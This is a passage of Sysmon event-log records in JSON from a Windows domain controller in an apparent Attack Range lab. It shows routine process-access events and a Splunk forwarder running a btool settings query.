\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001033180500}\r\nTargetProcessId: 2932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001033180500}","TargetProcessId":"2932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.407\r\nProcessGuid: {90617006-407B-5F2D-0000-001062190500}\r\nProcessId: 2496\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-001033180500}\r\nParentProcessId: 2932\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.407","ProcessGuid":"{90617006-407B-5F2D-0000-001062190500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-001033180500}","ParentProcessId":"2932","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001033180500}\r\nSourceProcessId: 2932\r\nSourceThreadId: 2604\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001062190500}\r\nTargetProcessId: 2496\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-407B-5F2D-0000-001033180500}","SourceProcessId":"2932","SourceThreadId":"2604","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001062190500}","TargetProcessId":"2496","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001062190500}\r\nTargetProcessId: 2496\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001062190500}","TargetProcessId":"2496","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|